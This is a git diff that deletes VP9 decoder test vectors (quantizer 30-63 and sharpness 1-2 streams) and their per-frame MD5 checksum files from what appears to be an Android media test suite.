--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_30_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-e3b3cea66ea38c5dfba1aa73bb4c611d  vp90-2-00-quantizer-30-352x288-0001.i420
-42bb3e54b19c3f4c4f7ee3a6ba012e19  vp90-2-00-quantizer-30-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_31.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_31.vp9
deleted file mode 100644
index e83141f..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_31.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_31_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_31_vp9_md5
deleted file mode 100644
index 9d84937..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_31_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-2523e9ecfd3781eafcd7da192dc105e9  vp90-2-00-quantizer-31-352x288-0001.i420
-6d5feea012b9a1f51fc643633e728764  vp90-2-00-quantizer-31-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_32.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_32.vp9
deleted file mode 100644
index 5987ec8..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_32.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_32_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_32_vp9_md5
deleted file mode 100644
index 5e6cdde..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_32_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-0a0305eba36500ebf6cc6cc0f01f5a3b  vp90-2-00-quantizer-32-352x288-0001.i420
-2c76bcd6763467f9057a726fbcf50ab1  vp90-2-00-quantizer-32-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_33.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_33.vp9
deleted file mode 100644
index c053597..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_33.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_33_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_33_vp9_md5
deleted file mode 100644
index 4604865..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_33_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-c68433e0e94047c220be9b629334f744  vp90-2-00-quantizer-33-352x288-0001.i420
-fcfa4dff7a39bc9c5e315849ecbb46ea  vp90-2-00-quantizer-33-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_34.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_34.vp9
deleted file mode 100644
index 3b13d0c..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_34.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_34_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_34_vp9_md5
deleted file mode 100644
index 42ec3bd..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_34_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-ad9dc2f912c137b014a33e2792c88a25  vp90-2-00-quantizer-34-352x288-0001.i420
-11221ee4ea5c776f43af68756682cd5a  vp90-2-00-quantizer-34-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_35.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_35.vp9
deleted file mode 100644
index 9e88eaf..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_35.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_35_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_35_vp9_md5
deleted file mode 100644
index 7467703..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_35_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-75031f898cccf303a64ab46b1f815389  vp90-2-00-quantizer-35-352x288-0001.i420
-a4fc864e7fbc470dfcab6207e0eea152  vp90-2-00-quantizer-35-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_36.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_36.vp9
deleted file mode 100644
index 89095d8..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_36.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_36_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_36_vp9_md5
deleted file mode 100644
index f83c5fd..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_36_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-c7824af009fde6cafdd8d39fae6bb6cf  vp90-2-00-quantizer-36-352x288-0001.i420
-516a82d5fc4dfa3daf713ed2ec36041b  vp90-2-00-quantizer-36-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_37.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_37.vp9
deleted file mode 100644
index 51ea020..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_37.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_37_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_37_vp9_md5
deleted file mode 100644
index 56ae9cf..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_37_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-a2e5c820fd9733e18f9349fb658ca281  vp90-2-00-quantizer-37-352x288-0001.i420
-fb23e0bc64728a492a33d985032f21b8  vp90-2-00-quantizer-37-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_38.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_38.vp9
deleted file mode 100644
index b502d01..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_38.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_38_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_38_vp9_md5
deleted file mode 100644
index 5c70650..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_38_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-8347bfb891317e89ef66781d6c28e24f  vp90-2-00-quantizer-38-352x288-0001.i420
-a5722f824d32deac042513a1a7dcdcd0  vp90-2-00-quantizer-38-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_39.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_39.vp9
deleted file mode 100644
index 559a435..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_39.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_39_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_39_vp9_md5
deleted file mode 100644
index 7c9fece..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_39_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-018968f97fac3bdff146cf22c1da5ef0  vp90-2-00-quantizer-39-352x288-0001.i420
-ca8b09b01e5132183395e238f1c7901e  vp90-2-00-quantizer-39-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_40.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_40.vp9
deleted file mode 100644
index 2cbb549..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_40.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_40_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_40_vp9_md5
deleted file mode 100644
index 6b3c92a..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_40_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-792660f6589ad5340be4bd0554435866  vp90-2-00-quantizer-40-352x288-0001.i420
-68c84c8a15d679e0a73678b93215c62c  vp90-2-00-quantizer-40-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_41.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_41.vp9
deleted file mode 100644
index 910d486..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_41.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_41_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_41_vp9_md5
deleted file mode 100644
index 7df4a7f..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_41_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-a456bdfc6c1c07b4cb3a3848843743b9  vp90-2-00-quantizer-41-352x288-0001.i420
-fe41a12b8cb6bc5667ba2179e076f3b0  vp90-2-00-quantizer-41-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_42.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_42.vp9
deleted file mode 100644
index 53c6b55..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_42.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_42_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_42_vp9_md5
deleted file mode 100644
index 4abe677..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_42_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-f016dd8431694d989700fb1ba71a5b2d  vp90-2-00-quantizer-42-352x288-0001.i420
-e89c3c5b935157b40f2fb0ab92415828  vp90-2-00-quantizer-42-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_43.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_43.vp9
deleted file mode 100644
index 0d3e706..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_43.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_43_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_43_vp9_md5
deleted file mode 100644
index 2db4096..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_43_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-7b8ab82625f3006bac89d4fb5197e71c  vp90-2-00-quantizer-43-352x288-0001.i420
-18bd3716045563dfba2c72b640b3274b  vp90-2-00-quantizer-43-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_44.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_44.vp9
deleted file mode 100644
index 4b1c580..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_44.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_44_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_44_vp9_md5
deleted file mode 100644
index aa705be..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_44_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-66fde04d8320c750e56406feefd29979  vp90-2-00-quantizer-44-352x288-0001.i420
-f9d01d8fc1722ec345e624e14b404215  vp90-2-00-quantizer-44-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_45.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_45.vp9
deleted file mode 100644
index 12779d6..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_45.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_45_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_45_vp9_md5
deleted file mode 100644
index 4472c2f..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_45_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-cc97597b015896d73f3e60e7ae44c4da  vp90-2-00-quantizer-45-352x288-0001.i420
-fea98bc508f92135641ab99762444b14  vp90-2-00-quantizer-45-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_46.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_46.vp9
deleted file mode 100644
index 8f1aff1..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_46.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_46_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_46_vp9_md5
deleted file mode 100644
index bb306b1..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_46_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-79ed95c741178bb3c0954f1f6f8e21a3  vp90-2-00-quantizer-46-352x288-0001.i420
-f02a06a5e2b5b7619c9a52c5bea0564d  vp90-2-00-quantizer-46-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_47.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_47.vp9
deleted file mode 100644
index e8d81b4..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_47.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_47_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_47_vp9_md5
deleted file mode 100644
index 5734952..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_47_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-9b98e948b8c2a822f21bd8419e6f4410  vp90-2-00-quantizer-47-352x288-0001.i420
-491382d68c16c2a3c6f1746598bc4a97  vp90-2-00-quantizer-47-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_48.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_48.vp9
deleted file mode 100644
index 9644566..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_48.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_48_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_48_vp9_md5
deleted file mode 100644
index 0b79523..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_48_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-f0f095b0edae7262f44d7ed7ef84ded4  vp90-2-00-quantizer-48-352x288-0001.i420
-0e833889ccac81d60251007d1baf6500  vp90-2-00-quantizer-48-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_49.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_49.vp9
deleted file mode 100644
index c0efd85..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_49.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_49_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_49_vp9_md5
deleted file mode 100644
index 72f8300..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_49_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-6c1b7b7827617fb9b8417aca2cfdbcaa  vp90-2-00-quantizer-49-352x288-0001.i420
-4c1fc8a89297fdcf79f0faabd42b8684  vp90-2-00-quantizer-49-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_50.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_50.vp9
deleted file mode 100644
index 3797305..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_50.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_50_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_50_vp9_md5
deleted file mode 100644
index f104046..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_50_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-ca6142db68463487bc28c888ab38476c  vp90-2-00-quantizer-50-352x288-0001.i420
-02a71153ec70f569524c3d814cb62f86  vp90-2-00-quantizer-50-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_51.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_51.vp9
deleted file mode 100644
index ad66216..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_51.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_51_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_51_vp9_md5
deleted file mode 100644
index 7874a6f..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_51_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-eece2627df1ddf0872256eb92352e179  vp90-2-00-quantizer-51-352x288-0001.i420
-0ee9f221246ad747250e4b5e8ba586e2  vp90-2-00-quantizer-51-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_52.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_52.vp9
deleted file mode 100644
index b729121..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_52.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_52_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_52_vp9_md5
deleted file mode 100644
index d5092d6..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_52_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-7290039d974c4e50db9d69f9864bcdbe  vp90-2-00-quantizer-52-352x288-0001.i420
-264765de9d02503038a4da54133b9f85  vp90-2-00-quantizer-52-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_53.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_53.vp9
deleted file mode 100644
index eace52e..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_53.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_53_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_53_vp9_md5
deleted file mode 100644
index 3566f61..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_53_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-917af24da66f143a56a01eb2c2254285  vp90-2-00-quantizer-53-352x288-0001.i420
-45a05d3bc644420519619e4115662a70  vp90-2-00-quantizer-53-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_54.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_54.vp9
deleted file mode 100644
index 0100c2b..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_54.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_54_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_54_vp9_md5
deleted file mode 100644
index 96fdd4b6..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_54_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-6fea2820bb10a9dec9add4d2452b01f5  vp90-2-00-quantizer-54-352x288-0001.i420
-74675169a4bfc2ff5463c4db5d85a79f  vp90-2-00-quantizer-54-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_55.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_55.vp9
deleted file mode 100644
index d84bbb2..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_55.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_55_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_55_vp9_md5
deleted file mode 100644
index ec38867..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_55_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-11e5d196f6537fb7d85988d90195e556  vp90-2-00-quantizer-55-352x288-0001.i420
-8536106795f7c93c5a43a11493527469  vp90-2-00-quantizer-55-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_56.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_56.vp9
deleted file mode 100644
index befee07..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_56.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_56_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_56_vp9_md5
deleted file mode 100644
index a93ced9..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_56_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-40839b7a3a40ec10f96b8a75224f646d  vp90-2-00-quantizer-56-352x288-0001.i420
-11408dd73e8c45ddaab99f5c9650102b  vp90-2-00-quantizer-56-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_57.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_57.vp9
deleted file mode 100644
index 7df44d5..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_57.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_57_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_57_vp9_md5
deleted file mode 100644
index 1979cd8..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_57_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-d0e9fa03dd48da4592ebaadb4e3794e0  vp90-2-00-quantizer-57-352x288-0001.i420
-5172e29b1e04cd543833d6a68aab297c  vp90-2-00-quantizer-57-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_58.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_58.vp9
deleted file mode 100644
index 49a5fa9..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_58.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_58_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_58_vp9_md5
deleted file mode 100644
index cb06866..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_58_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-bef4a27d460e7697e038fe6f1c8bd597  vp90-2-00-quantizer-58-352x288-0001.i420
-124674686cafc5f2ff5bc7ea412b8f3b  vp90-2-00-quantizer-58-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_59.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_59.vp9
deleted file mode 100644
index fd50ac3..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_59.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_59_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_59_vp9_md5
deleted file mode 100644
index 240ea59..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_59_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-ae9d99e9d16ef20073300559566844ae  vp90-2-00-quantizer-59-352x288-0001.i420
-da9405e5a6bfe4ed18d927ba2004008e  vp90-2-00-quantizer-59-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_60.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_60.vp9
deleted file mode 100644
index d2caca9..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_60.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_60_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_60_vp9_md5
deleted file mode 100644
index 550fee98..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_60_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-9e66bb8e1b5e206ea4afe4bf2d335ac5  vp90-2-00-quantizer-60-352x288-0001.i420
-092b74c905c12c1e87e90f5a79857736  vp90-2-00-quantizer-60-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_61.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_61.vp9
deleted file mode 100644
index f20df40..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_61.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_61_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_61_vp9_md5
deleted file mode 100644
index 2e3edd3..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_61_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-d062dc6be246c8042744018765ef50a8  vp90-2-00-quantizer-61-352x288-0001.i420
-45fd9cbacb6a91060a7e49a58a85869d  vp90-2-00-quantizer-61-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_62.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_62.vp9
deleted file mode 100644
index 2b8fd32..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_62.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_62_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_62_vp9_md5
deleted file mode 100644
index 1d266b3..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_62_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-62f7e42fe653e81c5a65a25389e045b5  vp90-2-00-quantizer-62-352x288-0001.i420
-cb0cdd0b25689e0a43328550011d960d  vp90-2-00-quantizer-62-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_63.vp9 b/tests/tests/media/res/raw/vp90_2_00_quantizer_63.vp9
deleted file mode 100644
index 28c2564..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_63.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_00_quantizer_63_vp9_md5 b/tests/tests/media/res/raw/vp90_2_00_quantizer_63_vp9_md5
deleted file mode 100644
index b5d122f..0000000
--- a/tests/tests/media/res/raw/vp90_2_00_quantizer_63_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-8467643dceff827e04acd82eeff1d1b0  vp90-2-00-quantizer-63-352x288-0001.i420
-c786f49d66f4dfd685dea9605821a19f  vp90-2-00-quantizer-63-352x288-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_1.vp9 b/tests/tests/media/res/raw/vp90_2_01_sharpness_1.vp9
deleted file mode 100644
index dd0f0ee..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_1.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_1_vp9_md5 b/tests/tests/media/res/raw/vp90_2_01_sharpness_1_vp9_md5
deleted file mode 100644
index 1db2ed2..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_1_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-a2e5c820fd9733e18f9349fb658ca281  vp90-2-01-sharpness-1-352x288-0001.i420
-aa20a75be3a316193496706c9f760d08  vp90-2-01-sharpness-1-352x288-0002.i420
-95567be97a64d3c9efe45f2524116a2e  vp90-2-01-sharpness-1-352x288-0003.i420
-219e86cd6b3cca312856eead21776b1c  vp90-2-01-sharpness-1-352x288-0004.i420
-4a67fd359ca362398e97c15eb018a2bb  vp90-2-01-sharpness-1-352x288-0005.i420
-9916d4e359274d690827f0eb22547423  vp90-2-01-sharpness-1-352x288-0006.i420
-a07785b52561150c48f1a8eff89d5d75  vp90-2-01-sharpness-1-352x288-0007.i420
-a3382a92982953dfa20018e5ac975b51  vp90-2-01-sharpness-1-352x288-0008.i420
-911836989ca7b148438aa3ec7fc7e303  vp90-2-01-sharpness-1-352x288-0009.i420
-5627b981e3fc9e4401d35d3a5ab25917  vp90-2-01-sharpness-1-352x288-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_2.vp9 b/tests/tests/media/res/raw/vp90_2_01_sharpness_2.vp9
deleted file mode 100644
index d1d1a06..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_2.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_01_sharpness_2_vp9_md5 b/tests/tests/media/res/raw/vp90_2_01_sharpness_2_vp9_md5
deleted file mode 100644
index cb4d78e..0000000
--- a/tests/tests/media/res/raw/vp90_2_01_sharpness_2_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-a2e5c820fd9733e18f9349fb658ca281  vp90-2-01-sharpness-2-352x288-0001.i420
-cd94572239817ae7c9b07de739c3272b  vp90-2-01-sharpness-2-352x288-0002.i420
-383cf752d457e122b5ff49d08960208e  vp90-2-01-sharpness-2-352x288-0003.i420
-1c0a6ec9cd3ce29b8b004e7526f1b07e  vp90-2-01-sharpness-2-352x288-0004.i420
-91c42a8a108d67947cabfc2a5a80df66  vp90-2-01-sharpness-2-352x288-0005.i420
-08c57fc1f3fec0305883315a66c714d1  vp90-2-01-sharpness-2-352x288-0006.i420
-70cb8d8dc83eac82f2d3c4b0376bb1aa  vp90-2-01-sharpness-2-352x288-0007.i420
-ffd62a9ef829ec81f0f74f740488a41f  vp90-2-01-sharpness-2-352x288-0008.i420
